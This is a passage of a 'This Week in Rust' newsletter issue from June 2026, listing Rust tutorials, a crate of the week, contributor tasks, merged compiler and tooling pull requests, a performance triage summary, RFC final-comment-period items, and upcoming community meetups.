<li>[videos] <a href="https://www.youtube.com/watch?v=PrfMpCaIh0k&amp;list=PL8Q1w7Ff68DBpmF38rcIAf8Z9Gj2TnlgM">RustWeek 2026 by RustNL, all talks playlist</a></li>
<li><a href="https://www.p2claw.com/blog/2026-06-09-the-ipad-was-on-tailscale/">The iPad was on Tailscale</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://blog.sheerluck.dev/posts/learn-rust-concurrency-by-building-a-thread-pool/">Learn Rust Concurrency By Building a Thread Pool</a></li>
<li><a href="https://grack.com/blog/2026/06/11/life-before-main/">There Is Life Before Main in Rust</a></li>
<li><a href="https://wolfgirl.dev/blog/2026-06-16-async-task-locals-from-scratch/">Async Task Locals From Scratch</a></li>
<li><a href="https://dystroy.org/blog/picomobile/">Fearless Embedded Rust: Driving a Lego Car with a Pico W</a></li>
<li><a href="https://smista.ai/blog/how-we-built-a-provider-agnostic-llm-layer-in-rust-with-rig">Building a provider-agnostic LLM layer in Rust with Rig</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#miscellaneous">Miscellaneous</a></h5>
<ul>
<li>[video] <a href="https://2026.rustweek.org/blog/2026-06-10-rustweek-recordings-published/">RustWeek 2026 talk recordings</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/ArneCode/marser">marser</a>, a parser combinator library with a twist.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1611">Arne Code</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>


<ul>
<li><a href="https://github.com/satyakwok/solana-infra-doctor/issues/77">solana-infra-doctor - List exit codes in <code>sol-doctor --help</code></a></li>
<li><a href="https://github.com/satyakwok/solana-infra-doctor/issues/78">solana-infra-doctor - Make the invalid-URL error suggest the expected scheme</a></li>
<li><a href="https://github.com/satyakwok/solana-infra-doctor/issues/79">solana-infra-doctor - Add a glossary of RPC readiness terms</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/38">openslate - add unit tests for slugify() in api/src/notes.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/70">openslate - add integration tests for notes CRUD in api/src/notes.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/96">openslate - add integration tests for auth flow in api/src/users.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/89">openslate - add unit tests for build_fts_query() in api/src/search.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/106">openslate - add integration tests for auth middleware and logout in api/src/auth.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/85">openslate - add integration tests for media endpoints (DB layer) in api/src/media.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/40">openslate - add unit tests for ext_from_mime() and filename_from_url() in api/src/media.rs</a></li>
</ul>


<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>527 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-06-09..2026-06-16">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/156187"><code>obligations_for_self_ty</code>: skip irrelevant goals (recompute <code>sub_root</code> from <code>stalled_vars)</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157768"><code>codegen_ssa</code>: peel trans. wrappers on scalable vecs</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156934">add a check for impossible predicates to <code>trivial_const</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156816">add unstable loop unrolling hint attributes</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157714">improve polymorphization of raw pointer formatting</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155200">introduce <code>#[diagnostic::on_type_error(message)]</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157781">perf: reuse green-marking's edge walk when promoting a node</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/157355">add <code>or_try_*</code> variants for <code>HashMap</code> and <code>BTreeMap</code> Entry APIs</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/149749">make <code>BorrowedBuf</code> and <code>BorrowedCursor</code> generic over the data</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155527">replace printables table with <code>unicode_data.rs</code> tables</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157876">stabilize <code>#![feature(box_as_ptr)]</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156629">stabilize <code>core::range::{legacy, RangeFull, RangeTo}</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/152544">stabilize <code>int_format_into</code> feature</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157877">stabilize <code>nonzero_from_str_radix</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157029">stabilize feature <code>float_algebraic</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17104"><code>trim-paths</code>: emit <code>CARGO_TRIM_PATHS_REMAP</code> for build.rs</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17101"><code>diag</code>: Give diagnostics the same display path behavior as rustc</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17095"><code>diag</code>: Report all errors, in order</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17071"><code>publish</code>: avoid false deadlock when <code>to_confirm</code> is non-empty</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17083"><code>resolver</code>: move yank policy to resolver layer</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/141000">also run lint <code>unused_doc_comments</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157874">cleanup and (micro-)optimize <code>print_where_clause</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157740">correct doctest span for trailing semicolon after item</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157838">don't strip hidden items in <code>AliasedNonLocalStripper</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157796">some more lazy formatting</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustfmt">Rustfmt</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rustfmt/pull/6616">add <code>doc_comment_code_block_small_heuristics</code>, to override <code>use_small_heuristics</code> in doc code</a></li>
<li><a href="https://github.com/rust-lang/rustfmt/pull/6935">stabilize <code>hex_literal_case</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17042">new <code>by_ref_peekable_peek</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17192">add <code>with_capacity_zero</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17191"><code>mem_replace_with_default</code>: also emit inside macros</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17175"><code>infallible_destructuring_match</code>: clean-up, split off the suggestion from the main message</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17184"><code>manual_is_variant_and</code>: lint <code>result.ok().is_some_and(f)</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17171"><code>needless_borrow</code>: same-name methods false positive</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17216"><code>unnecessary_lazy_evaluations</code>: handle closure <code>-&gt;</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17208">deprecate the <code>from_iter_instead_of_collect</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17204">remove <code>is_integer_const</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17250">do not trigger <code>ref_patterns</code> lint on automatically derived code</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17145">enhance never loop</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/15779">add profile-specific configuration for disallowed methods and types</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16749">fix <code>collapsible_match</code> suggests wrongly when match body has no braces</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16868">fix <code>unnecessary_sort_by</code> reverse suggestion using wrong closure parameter name</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17107">fix redundant closure call async false positive</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17218">perf: check <code>is_in_test</code> last in <code>incompatible_msrv</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17219">perf: check the token kind before extracting source in early literal lints</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17220">perf: match expression shape before MSRV check in <code>cloned_ref_to_slice_refs</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17217">perf: skip <code>doc_markdown</code> text collection and word scan when the lint is allowed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17225">perf: skip <code>single_component_path_imports</code> module walk when nothing to lint</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22562">create directory for <code>cargo xtask metrics rustc_tests</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22575">don't count C-variadic <code>...</code> as a parameter for fn pointers</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22549">support flyimport exclude variants</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22566">fix destructuring assignments not introducing moves</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22584">offer inline macro in macro call and proc macro</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22591">prefer bench command when target is bench to avoid cargo run</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22551">supports inline variable in macro</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22574">use package id as argument to <code>--package</code> if package is not unique</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22545">assist <code>inline_type_alias</code> work on ADT definitions</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22579">perf: defer initial workspace flycheck until cache priming completes</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22561">remove docs about removed <code>analysis-bench</code> command</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22571">remove unnecessary feature flags from tests</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22585">use ASCII lowercase for dylib extensions check</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>This week we had quite a lot of changes, a few small regressions that were a bit tough to diagnose, but the week is largely positive, overall.
Notably, we got one massive improvement on the next-solver benchmark in #<a href="https://github.com/rust-lang/rust/pull/156187">156187</a>,
and a nice speedup for incremental in <a href="https://github.com/rust-lang/rust/pull/157781">#157781</a>.</p>
<p>Triage done by <strong>@panstromek</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=f3ef3bd882dd24a275a60701a67c3bb330edd8c1&amp;end=b5d46ecb51c3e4134b82570cfe718f093daa6390&amp;absolute=false&amp;stat=instructions%3Au">f3ef3bd8..b5d46ecb</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 0.6%]</td>
<td>22</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.5%</td>
<td>[0.1%, 2.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-1.8%</td>
<td>[-5.9%, -0.1%]</td>
<td>125</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-3.8%</td>
<td>[-69.4%, -0.1%]</td>
<td>90</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.5%</td>
<td>[-5.9%, 0.6%]</td>
<td>147</td>
</tr>
</tbody>
</table>
<p>1 Regression, 4 Improvements, 8 Mixed; 5 of them in rollups
28 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/d36b1ad8679b65efbb98252fbb93f72a7d90d4c6/triage/2026/2026-06-16.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/156047">Fix trait method resolution on an adjusted never type</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/76314">Tracking Issue for atomic_from_mut</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155499">stabilize never type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/153563">Lint against iterator functions that panic when N is zero</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1002">Single-byte counter support in coverage instrumentation</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1003">Rename the compiler files containing struct diagnostics to <code>diagnostics.rs</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/issues/301">Delegate Project Grants to the Funding team</a></li>
<li><a href="https://github.com/rust-lang/leadership-council/issues/304">Allocate budget to the Funding team</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-rfcs"></a><a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3955">Named Fn trait parameters</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#language-reference"></a><a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>
<ul>
<li><a href="https://github.com/rust-lang/reference/pull/2262">Structs with no fields or all-ZST fields are ZSTs</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><em>No New or Updated RFCs were created this week.</em></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-06-17 - 2026-07-15 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-06-17 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314000478/"><strong>Rust Study/Hack/Hang-out</strong></a></li>
</ul>
</li>
<li>2026-06-17 | Virtual (Girona, ES) | <a href="https://lu.ma/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ekws5nr4"><strong>Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314236370/"><strong>June, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/308455931/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-06-21 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314329044/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
</ul>
</li>
<li>2026-06-23 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254779/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-06-23 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/313767883/"><strong>Lunch &amp; Learn: What the heck are monads - and how do we fake them in Rust</strong></a></li>
</ul>
</li>
<li>2026-07-01 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210366/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/308455932/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Charlottesville, VA, US) | <a href="https://www.meetup.com/charlottesville-rust-meetup/events/">Charlottesville Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/charlottesville-rust-meetup/events/315211402/"><strong>Learning Game Development the Hard Way with Rust and Bevy</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris/events/">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/313345243/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-07-05 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095287/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-07-07 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust/events/">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315060981/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-07-14 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254778/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-15 | Virtual (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust/events/">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-06-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/314965238/"><strong>Talk Night at Danske Commodities</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Edinburgh, GB | <a href="https://www.meetup.com/rust-edi/events/">Rust and Friends</a><ul>
<li><a href="https://www.meetup.com/rust-and-friends/events/315093492/"><strong>Rust and Friends comes to Glasgow! (daytime coffee)</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Edinburgh, GB | <a href="https://www.meetup.com/rust-edi/events/">Rust and Friends</a><ul>
<li><a href="https://www.meetup.com/rust-and-friends/events/315093500/"><strong>Rust and Friends comes to Glasgow! (evening pub)</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Barcelona, ES | <a href="https://www.meetup.com/bcnrust/events/">BcnRust</a><ul>
<li><a href="https://www.meetup.com/bcnrust/events/315094938/"><strong>21st BcnRust Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-19 | Dresden, DE | <a href="https://github.com/rust-dresden">Rust Dresden</a><ul>
<li><a href="https://pretix.eu/rust-dresden/on-location-2"><strong>Second Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315040676/"><strong>Rust meetup #86</strong></a></li>
</ul>
</li>
<li>2026-06-23 | Warsaw, PL | <a href="https://luma.com/rust.in.warsaw">Rust Warsaw</a><ul>
<li><a href="https://luma.com/djs7ntfx"><strong>Rust Warsaw Meetup: June 2026</strong></a></li>
</ul>
</li>
<li>2026-06-24 | Manchester, GB | <a href="https://www.meetup.com/rust-manchester/events/">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315200163/"><strong>Rust Manchester June Talks</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/314396600/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community/events/">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315214426/"><strong>Rust meetup #69</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Edinburgh, GB | <a href="https://www.meetup.com/rust-edi/events/">Rust and Friends</a><ul>
<li><a href="https://www.meetup.com/rust-and-friends/events/314941098/"><strong>Bevy, Bits, &amp; Cats (Rust July Talks)</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Enschede, OV, NL | <a href="https://www.meetup.com/dutch-rust-meetup/events/">Baseflow Tech Meetups</a><ul>
<li><a href="https://www.meetup.com/baseflow-tech-meetups/events/315099547/"><strong>AI Summit</strong></a></li>
</ul>
</li>
<li>2026-07-08 | Dublin, IE | <a href="https://www.meetup.com/rust-dublin/events/">Rust Dublin</a><ul>
<li><a href="https://www.meetup.com/rust-dublin/events/315150327/"><strong>Join us live and INPERSON for Rust 261</strong></a></li>
</ul>
</li>
<li>2026-07-09 | Switzerland, CH | <a href="https://www.posttenebraslab.ch/wiki/events/start">PostTenebrasLab</a><ul>
<li><a href="https://www.posttenebraslab.ch/wiki/events/monthly_meeting/rust_meetup"><strong>Rust Meetup Geneva</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-06-17 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314000478/"><strong>Rust Study/Hack/Hang-out</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314236370/"><strong>June, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Nashville, TN, US | <a href="https://www.meetup.com/music-city-rust-developers/events/">Music City Rust Developers</a><ul>
<li><a href="https://www.meetup.com/music-city-rust-developers/events/315213927/"><strong>Community Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-20 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225854/"><strong>Northeastern Rust Lunch, June 20</strong></a></li>
</ul>
</li>
<li>2026-06-24 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx/events/">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/315105633/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-06-24 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/314386080/"><strong>Rust LA: Rust-Based Constraint Solvers in 2D Sketching with Zoo Technologies</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539326/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-06-26 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315014582/"><strong>Rust NYC's Big Summer Social</strong></a></li>
</ul>
</li>
<li>2026-06-27 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225857/"><strong>Somerville Union Square Rust Lunch, June 27</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust/events/">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/315103359/"><strong>Git is easy?</strong></a></li>
</ul>
</li>
